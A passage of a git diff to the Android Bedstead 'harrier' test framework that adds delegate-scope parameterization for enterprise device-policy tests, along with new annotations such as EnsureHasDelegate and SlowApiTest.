+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier;
+
+import java.lang.annotation.Annotation;
+import java.util.Arrays;
+import java.util.Objects;
+
+/**
+ * A fake annotation used inside {@link Policy} and {@link BedsteadJUnit4} to inject
+ * new parameterizations.
+ */
+public final class DynamicParameterizedAnnotation implements Annotation {
+    private final String mName;
+    private final Annotation[] mAnnotations;
+
+    DynamicParameterizedAnnotation(String name, Annotation[] annotations) {
+        mName = name;
+        mAnnotations = annotations;
+    }
+
+    /** Get the parameterization name. */
+    public String name() {
+        return mName;
+    }
+
+    /** Get the annotations applied to the parameterization. */
+    public Annotation[] annotations() {
+        return mAnnotations;
+    }
+
+    @Override
+    public Class<? extends Annotation> annotationType() {
+        // This is special cased in BedsteadJUnit4 so will never be called
+        return null;
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        if (!(o instanceof DynamicParameterizedAnnotation)) return false;
+        DynamicParameterizedAnnotation that = (DynamicParameterizedAnnotation) o;
+        return Objects.equals(mName, that.mName) && Arrays.equals(mAnnotations,
+                that.mAnnotations);
+    }
+
+    @Override
+    public int hashCode() {
+        int result = Objects.hash(mName);
+        result = 31 * result + Arrays.hashCode(mAnnotations);
+        return result;
+    }
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
index c588ace..e01c8f1 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
@@ -16,6 +16,18 @@
 
 package com.android.bedstead.harrier;
 
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_SELECTION;
+import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
+import static android.app.admin.DevicePolicyManager.DELEGATION_INSTALL_EXISTING_PACKAGE;
+import static android.app.admin.DevicePolicyManager.DELEGATION_KEEP_UNINSTALLED_PACKAGES;
+import static android.app.admin.DevicePolicyManager.DELEGATION_NETWORK_LOGGING;
+import static android.app.admin.DevicePolicyManager.DELEGATION_PACKAGE_ACCESS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_PERMISSION_GRANT;
+import static android.app.admin.DevicePolicyManager.DELEGATION_SECURITY_LOGGING;
+
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_AFFILIATED_PROFILE_OWNER;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER;
@@ -28,9 +40,11 @@
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_PARENT;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_UNAFFILIATED_OTHER_USERS;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.CAN_BE_DELEGATED;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DO_NOT_APPLY_TO_NEGATIVE_TESTS;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.NO;
 
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate;
 import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeNone;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnAffiliatedDeviceOwnerSecondaryUser;
@@ -47,21 +61,94 @@
 
 import com.google.auto.value.AutoAnnotation;
 import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableSet;
 
 import java.lang.annotation.Annotation;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Comparator;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
+import java.util.function.Function;
+import java.util.stream.Collectors;
 
 /**
  * Utility class for enterprise policy tests.
  */
 public final class Policy {
 
+    // Delegate scopes to be used for a "CannotSet" state. All delegate scopes except the ones which
+    // should allow use of the API will be granted
+    private static final ImmutableSet<String> ALL_DELEGATE_SCOPES = ImmutableSet.of(
+            DELEGATION_CERT_INSTALL,
+            DELEGATION_APP_RESTRICTIONS,
+            DELEGATION_BLOCK_UNINSTALL,
+            DELEGATION_PERMISSION_GRANT,
+            DELEGATION_PACKAGE_ACCESS,
+            DELEGATION_ENABLE_SYSTEM_APP,
+            DELEGATION_INSTALL_EXISTING_PACKAGE,
+            DELEGATION_KEEP_UNINSTALLED_PACKAGES,
+            DELEGATION_NETWORK_LOGGING,
+            DELEGATION_CERT_SELECTION,
+            DELEGATION_SECURITY_LOGGING
+    );
+
+    // This is a map containing all Include* annotations and the flags which lead to them
+    // This is not validated - every state must have a single APPLIED_BY annotation
+    private static final ImmutableMap<Integer, Function<EnterprisePolicy, Set<Annotation>>>
+            STATE_ANNOTATIONS =
+            ImmutableMap.<Integer, Function<EnterprisePolicy, Set<Annotation>>>builder()
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnDeviceOwnerUser()))
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnDeviceOwnerUser(), /* isPrimary= */ true))
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND, singleAnnotation(includeRunOnBackgroundDeviceOwnerUser()))
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnBackgroundDeviceOwnerUser(), /* isPrimary= */ true))
+
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_UNAFFILIATED_OTHER_USERS, singleAnnotation(includeRunOnNonAffiliatedDeviceOwnerSecondaryUser()))
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_UNAFFILIATED_OTHER_USERS | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnNonAffiliatedDeviceOwnerSecondaryUser(), /* isPrimary= */ true))
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_AFFILIATED_OTHER_USERS, singleAnnotation(includeRunOnAffiliatedDeviceOwnerSecondaryUser()))
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_AFFILIATED_OTHER_USERS | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnAffiliatedDeviceOwnerSecondaryUser(), /* isPrimary= */ true))
+
+                    .put(APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnAffiliatedProfileOwnerSecondaryUser()))
+                    .put(APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnAffiliatedProfileOwnerSecondaryUser(), /* isPrimary= */ true))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnUnaffiliatedProfileOwnerSecondaryUser()))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnUnaffiliatedProfileOwnerSecondaryUser(), /* isPrimary= */ true))
+                    .put(APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnProfileOwnerPrimaryUser()))
+                    .put(APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnProfileOwnerPrimaryUser(), /* isPrimary= */ true))
+
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnProfileOwnerProfileWithNoDeviceOwner()))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnProfileOwnerProfileWithNoDeviceOwner(), /* isPrimary= */ true))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_PARENT, singleAnnotation(includeRunOnParentOfProfileOwnerWithNoDeviceOwner()))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_PARENT | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnParentOfProfileOwnerWithNoDeviceOwner(), /* isPrimary= */ true))
+
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_UNAFFILIATED_OTHER_USERS, singleAnnotation(includeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile()))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_UNAFFILIATED_OTHER_USERS | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile(), /* isPrimary= */ true))
+                    .build();
+    // This must contain one key for every APPLIED_BY that is being used, and maps to the
+    // "default" for testing that DPC type
+    // in general this will be a state which runs on the same user as the dpc.
+    private static final ImmutableMap<Integer, Function<EnterprisePolicy, Set<Annotation>>>
+            DPC_STATE_ANNOTATIONS_BASE =
+            ImmutableMap.<Integer, Function<EnterprisePolicy, Set<Annotation>>>builder()
+                    .put(APPLIED_BY_DEVICE_OWNER, (flags) -> hasFlag(flags.dpc(), APPLIED_BY_DEVICE_OWNER | APPLIES_IN_BACKGROUND) ? ImmutableSet.of(includeRunOnBackgroundDeviceOwnerUser()) : ImmutableSet.of(includeRunOnDeviceOwnerUser()))
+                    .put(APPLIED_BY_AFFILIATED_PROFILE_OWNER, singleAnnotation(includeRunOnAffiliatedProfileOwnerSecondaryUser()))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER, singleAnnotation(includeRunOnProfileOwnerPrimaryUser()))
+                    .put(APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO, singleAnnotation(includeRunOnProfileOwnerPrimaryUser()))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE, singleAnnotation(includeRunOnProfileOwnerProfileWithNoDeviceOwner()))
+                    .build();
+    private static final Map<Integer, Function<EnterprisePolicy, Set<Annotation>>>
+            DPC_STATE_ANNOTATIONS = DPC_STATE_ANNOTATIONS_BASE.entrySet().stream()
+            .collect(Collectors.toMap(Map.Entry::getKey, Policy::addGeneratedStates));
+    private static final int APPLIED_BY_FLAGS =
+            APPLIED_BY_DEVICE_OWNER | APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE
+                    | APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE
+                    | APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER
+                    | APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER;
+    private static final Map<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>>
+            ANNOTATIONS_MAP = calculateAnnotationsMap(STATE_ANNOTATIONS);
+
     private Policy() {
 
     }
@@ -126,49 +213,42 @@
         return new AutoAnnotation_Policy_includeRunOnBackgroundDeviceOwnerUser();
     }
 
-    // This is a map containing all Include* annotations and the flags which lead to them
-    // This is not validated - every state must have a single APPLIED_BY annotation
-    private static final ImmutableMap<Integer, Annotation> STATE_ANNOTATIONS = ImmutableMap.<Integer, Annotation>builder()
-            .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER, includeRunOnDeviceOwnerUser())
-            .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND, includeRunOnBackgroundDeviceOwnerUser())
+    @AutoAnnotation
+    private static EnsureHasDelegate ensureHasDelegate(EnsureHasDelegate.AdminType admin,
+            String[] scopes, boolean isPrimary) {
+        return new AutoAnnotation_Policy_ensureHasDelegate(admin, scopes, isPrimary);
+    }
 
-            .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_UNAFFILIATED_OTHER_USERS, includeRunOnNonAffiliatedDeviceOwnerSecondaryUser())
-            .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_AFFILIATED_OTHER_USERS, includeRunOnAffiliatedDeviceOwnerSecondaryUser())
+    private static Function<EnterprisePolicy, Set<Annotation>> singleAnnotation(
+            Annotation annotation) {
+        return (i) -> ImmutableSet.of(annotation);
+    }
 
-            .put(APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER, includeRunOnAffiliatedProfileOwnerSecondaryUser())
-            .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER, includeRunOnUnaffiliatedProfileOwnerSecondaryUser())
-            .put(APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO | APPLIES_TO_OWN_USER, includeRunOnProfileOwnerPrimaryUser())
+    private static Function<EnterprisePolicy, Set<Annotation>> generateDelegateAnnotation(
+            Annotation annotation, boolean isPrimary) {
+        return (policy) -> {
+            Annotation[] existingAnnotations = annotation.annotationType().getAnnotations();
+            return Arrays.stream(policy.delegatedScopes())
+                    .map(scope -> {
+                        Annotation[] newAnnotations = Arrays.copyOf(existingAnnotations,
+                                existingAnnotations.length + 1);
+                        newAnnotations[newAnnotations.length - 1] = ensureHasDelegate(
+                                EnsureHasDelegate.AdminType.PRIMARY, new String[]{scope},
+                                isPrimary);
 
-            .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_OWN_USER, includeRunOnProfileOwnerProfileWithNoDeviceOwner())
-            .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_PARENT, includeRunOnParentOfProfileOwnerWithNoDeviceOwner())
+                        return new DynamicParameterizedAnnotation(
+                                annotation.annotationType().getSimpleName() + "Delegate:" + scope,
+                                newAnnotations);
+                    }).collect(Collectors.toSet());
+        };
+    }
 
-            .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_UNAFFILIATED_OTHER_USERS, includeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile())
-            .build();
+    private static Map<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>> calculateAnnotationsMap(
+            Map<Integer, Function<EnterprisePolicy, Set<Annotation>>> annotations) {
+        Map<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>> b = new HashMap<>();
 
-    // This must contain one key for every APPLIED_BY that is being used, and maps to the "default" for testing that DPC type
-    // in general this will be a state which runs on the same user as the dpc.
-    private static final ImmutableMap<Integer, Annotation> DPC_STATE_ANNOTATIONS = ImmutableMap.<Integer, Annotation>builder()
-            .put(APPLIED_BY_DEVICE_OWNER, includeRunOnDeviceOwnerUser())
-            .put(APPLIED_BY_AFFILIATED_PROFILE_OWNER, includeRunOnAffiliatedProfileOwnerSecondaryUser())
-            .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER, includeRunOnProfileOwnerPrimaryUser())
-            .put(APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO, includeRunOnProfileOwnerPrimaryUser())
-            .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE, includeRunOnProfileOwnerProfileWithNoDeviceOwner())
-            .build();
-
-    private static final int APPLIED_BY_FLAGS =
-            APPLIED_BY_DEVICE_OWNER | APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE
-                    | APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE
-                    | APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER
-                    | APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER;
-
-
-    private static final Map<Annotation, Set<Integer>> ANNOTATIONS_MAP = calculateAnnotationsMap(STATE_ANNOTATIONS);
-
-    private static Map<Annotation, Set<Integer>> calculateAnnotationsMap(
-            Map<Integer, Annotation> annotations) {
-        Map<Annotation, Set<Integer>> b = new HashMap<>();
-
-        for (Map.Entry<Integer, Annotation> i : annotations.entrySet()) {
+        for (Map.Entry<Integer, Function<EnterprisePolicy, Set<Annotation>>> i :
+                annotations.entrySet()) {
             if (!b.containsKey(i.getValue())) {
                 b.put(i.getValue(), new HashSet<>());
             }
@@ -179,20 +259,39 @@
         return b;
     }
 
+    private static Function<EnterprisePolicy, Set<Annotation>> addGeneratedStates(
+            ImmutableMap.Entry<Integer, Function<EnterprisePolicy, Set<Annotation>>> entry) {
+        return (policy) -> {
+            if (hasFlag(policy.dpc(), entry.getKey() | CAN_BE_DELEGATED)) {
+                Set<Annotation> results = new HashSet<>(entry.getValue().apply(policy));
+                results.addAll(results.stream().flatMap(
+                        t -> generateDelegateAnnotation(t, /* isPrimary= */ true).apply(
+                                policy).stream())
+                        .collect(Collectors.toSet()));
+
+                return results;
+            }
+
+            return entry.getValue().apply(policy);
+        };
+    }
+
 
     /**
-     * Get positive state annotations for the given policy.
+     * Get parameterized test runs for the given policy.
      *
      * <p>These are states which should be run where the policy is able to be applied.
      */
-    public static List<Annotation> positiveStates(String policyName, EnterprisePolicy enterprisePolicy) {
+    public static List<Annotation> positiveStates(String policyName,
+            EnterprisePolicy enterprisePolicy) {
         Set<Annotation> annotations = new HashSet<>();
 
         validateFlags(policyName, enterprisePolicy.dpc());
 
-        for (Map.Entry<Annotation, Set<Integer>> annotation : ANNOTATIONS_MAP.entrySet()) {
+        for (Map.Entry<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>> annotation :
+                ANNOTATIONS_MAP.entrySet()) {
             if (isPositive(enterprisePolicy.dpc(), annotation.getValue())) {
-                annotations.add(annotation.getKey());
+                annotations.addAll(annotation.getKey().apply(enterprisePolicy));
             }
         }
 
@@ -215,13 +314,15 @@
 
     private static boolean isNegative(int[] policyFlags, Set<Integer> annotationFlags) {
         for (int annotationFlag : annotationFlags) {
-            if (hasFlag(annotationFlag, DO_NOT_APPLY_TO_NEGATIVE_TESTS, /* nonMatchingFlag= */ NO)) {
+            if (hasFlag(annotationFlag, DO_NOT_APPLY_TO_NEGATIVE_TESTS, /* nonMatchingFlag= */
+                    NO)) {
                 return false; // We don't support using this annotation for negative tests
             }
 
             int appliedByFlag = APPLIED_BY_FLAGS & annotationFlag;
             int otherFlags = annotationFlag ^ appliedByFlag; // remove the appliedByFlag
-            if (hasFlag(policyFlags, /* matchingFlag= */ appliedByFlag, /* nonMatchingFlag= */ otherFlags)) {
+            if (hasFlag(policyFlags, /* matchingFlag= */ appliedByFlag, /* nonMatchingFlag= */
+                    otherFlags)) {
                 return true;
             }
         }
@@ -230,18 +331,20 @@
     }
 
     /**
-     * Get negative state annotations for the given policy.
+     * Get negative parameterized test runs for the given policy.
      *
      * <p>These are states which should be run where the policy is not able to be applied.
      */
-    public static List<Annotation> negativeStates(String policyName, EnterprisePolicy enterprisePolicy) {
+    public static List<Annotation> negativeStates(String policyName,
+            EnterprisePolicy enterprisePolicy) {
         Set<Annotation> annotations = new HashSet<>();
 
         validateFlags(policyName, enterprisePolicy.dpc());
 
-        for (Map.Entry<Annotation, Set<Integer>> annotation : ANNOTATIONS_MAP.entrySet()) {
+        for (Map.Entry<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>> annotation :
+                ANNOTATIONS_MAP.entrySet()) {
             if (isNegative(enterprisePolicy.dpc(), annotation.getValue())) {
-                annotations.add(annotation.getKey());
+                annotations.addAll(annotation.getKey().apply(enterprisePolicy));
             }
         }
 
@@ -254,23 +357,60 @@
     }
 
     /**
-     * Get state annotations where the policy cannot be set for the given policy.
+     * Get parameterized test runs where the policy cannot be set for the given policy.
      */
-    public static List<Annotation> cannotSetPolicyStates(String policyName, EnterprisePolicy enterprisePolicy) {
+    public static List<Annotation> cannotSetPolicyStates(String policyName,
+            EnterprisePolicy enterprisePolicy, boolean includeDeviceAdminStates,
+            boolean includeNonDeviceAdminStates) {
         Set<Annotation> annotations = new HashSet<>();
 
         validateFlags(policyName, enterprisePolicy.dpc());
 
-        // TODO(scottjonathan): Always include a state without a dpc
+        if (includeDeviceAdminStates) {
+            int allFlags = 0;
+            for (int p : enterprisePolicy.dpc()) {
+                allFlags = allFlags | p;
+            }
 
-        int allFlags = 0;
-        for (int p : enterprisePolicy.dpc()) {
-            allFlags = allFlags | p;
+            for (Map.Entry<Integer, Function<EnterprisePolicy, Set<Annotation>>> appliedByFlag :
+                    DPC_STATE_ANNOTATIONS.entrySet()) {
+                if ((appliedByFlag.getKey() & allFlags) == 0) {
+                    annotations.addAll(appliedByFlag.getValue().apply(enterprisePolicy));
+                }
+            }
         }
 
-        for (Map.Entry<Integer, Annotation> appliedByFlag : DPC_STATE_ANNOTATIONS.entrySet()) {
-            if ((appliedByFlag.getKey() & allFlags) == 0) {
-                annotations.add(appliedByFlag.getValue());
+        if (includeNonDeviceAdminStates) {
+            Set<String> validScopes = ImmutableSet.copyOf(enterprisePolicy.delegatedScopes());
+            String[] scopes = ALL_DELEGATE_SCOPES.stream()
+                    .filter(i -> !validScopes.contains(i))
+                    .toArray(String[]::new);
+            Annotation[] existingAnnotations = IncludeRunOnDeviceOwnerUser.class.getAnnotations();
+
+            if (BedsteadJUnit4.isDebug()) {
+                // Add a non-DPC with no delegate scopes
+                Annotation[] newAnnotations = Arrays.copyOf(existingAnnotations,
+                        existingAnnotations.length + 1);
+                newAnnotations[newAnnotations.length - 1] = ensureHasDelegate(
+                        EnsureHasDelegate.AdminType.PRIMARY, new String[]{}, /* isPrimary= */ true);
+                annotations.add(
+                        new DynamicParameterizedAnnotation("DelegateWithNoScopes", newAnnotations));
+
+                for (String scope : scopes) {
+                    newAnnotations = Arrays.copyOf(existingAnnotations,
+                            existingAnnotations.length + 1);
+                    newAnnotations[newAnnotations.length - 1] = ensureHasDelegate(
+                            EnsureHasDelegate.AdminType.PRIMARY, new String[]{scope}, /* isPrimary= */ true);
+                    annotations.add(
+                            new DynamicParameterizedAnnotation("DelegateWithScope:" + scope, newAnnotations));
+                }
+            } else {
+                Annotation[] newAnnotations = Arrays.copyOf(existingAnnotations,
+                        existingAnnotations.length + 1);
+                newAnnotations[newAnnotations.length - 1] = ensureHasDelegate(
+                        EnsureHasDelegate.AdminType.PRIMARY, scopes, /* isPrimary= */ true);
+                annotations.add(
+                        new DynamicParameterizedAnnotation("DelegateWithoutValidScope", newAnnotations));
             }
         }
 
@@ -296,9 +436,10 @@
             allFlags = allFlags | p;
         }
 
-        for (Map.Entry<Integer, Annotation> appliedByFlag : DPC_STATE_ANNOTATIONS.entrySet()) {
+        for (Map.Entry<Integer, Function<EnterprisePolicy, Set<Annotation>>> appliedByFlag :
+                DPC_STATE_ANNOTATIONS.entrySet()) {
             if ((appliedByFlag.getKey() & allFlags) == appliedByFlag.getKey()) {
-                annotations.add(appliedByFlag.getValue());
+                annotations.addAll(appliedByFlag.getValue().apply(enterprisePolicy));
             }
         }
 
@@ -311,8 +452,14 @@
 
         if (singleTestOnly) {
             // We select one annotation in an arbitrary but deterministic way
-            annotationList.sort(Comparator.comparing(a -> a.annotationType().getName()));
-            Annotation firstAnnotation = annotationList.get(0);
+            annotationList.sort(Comparator.comparing(
+                    a -> a instanceof DynamicParameterizedAnnotation
+                            ? "DynamicParameterizedAnnotation" : a.annotationType().getName()));
+
+            // We don't want a delegate to be the representative test
+            Annotation firstAnnotation = annotationList.stream()
+                    .filter(i -> !(i instanceof  DynamicParameterizedAnnotation))
+                    .findFirst().get();
             annotationList.clear();
             annotationList.add(firstAnnotation);
         }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/SlowApiTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/SlowApiTest.java
new file mode 100644
index 0000000..9521e88
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/SlowApiTest.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Annotation to indicate that a test can take a long time to run.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+public @interface SlowApiTest {
+    String reason();
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CannotSetPolicyTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CannotSetPolicyTest.java
index 9315103..d0f1985 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CannotSetPolicyTest.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CannotSetPolicyTest.java
@@ -45,6 +45,17 @@
     Class<?> policy();
 
     /**
+     * If true, then this will run in states where the app is a device admin but is not one which is
+     * allowed to make the call.
+     */
+    boolean includeDeviceAdminStates() default true;
+
+    /**
+     * If true, then this will run in states where the app is not a device admin.
+     */
+    boolean includeNonDeviceAdminStates() default true;
+
+    /**
      * Weight sets the order that annotations will be resolved.
      *
      * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDelegate.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDelegate.java
new file mode 100644
index 0000000..73c1da7
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDelegate.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.enterprise;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test requires that the given admin delegates the given scope to a test app.
+ *
+ * <p>You should use {@link DeviceState} to ensure that the device enters
+ * the correct state for the method. You can use {@link DeviceState#delegate()} to interact with
+ * the delegate.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnsureHasDelegate {
+
+    enum AdminType {
+        DEVICE_OWNER,
+        PROFILE_OWNER,
+        PRIMARY
+    }
+
+    /**
+     * The admin that should delegate this scope.
+     *
+     * <p>If this is set to {@link AdminType#PRIMARY} and {@link #isPrimary()} is true, then the
+     * delegate will replace the primary dpc as primary without error.
+     */
+    AdminType admin();
+
+    /** The scope being delegated. */
+    String[] scopes();
+
+    /**
+     * Whether this delegate should be returned by calls to {@link DeviceState#policyManager()}.
+     *
+     * <p>Only one policy manager per test should be marked as primary.
+     */
+    boolean isPrimary() default false;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default DO_PO_WEIGHT + 1; // Should run after setting DO/PO
+}
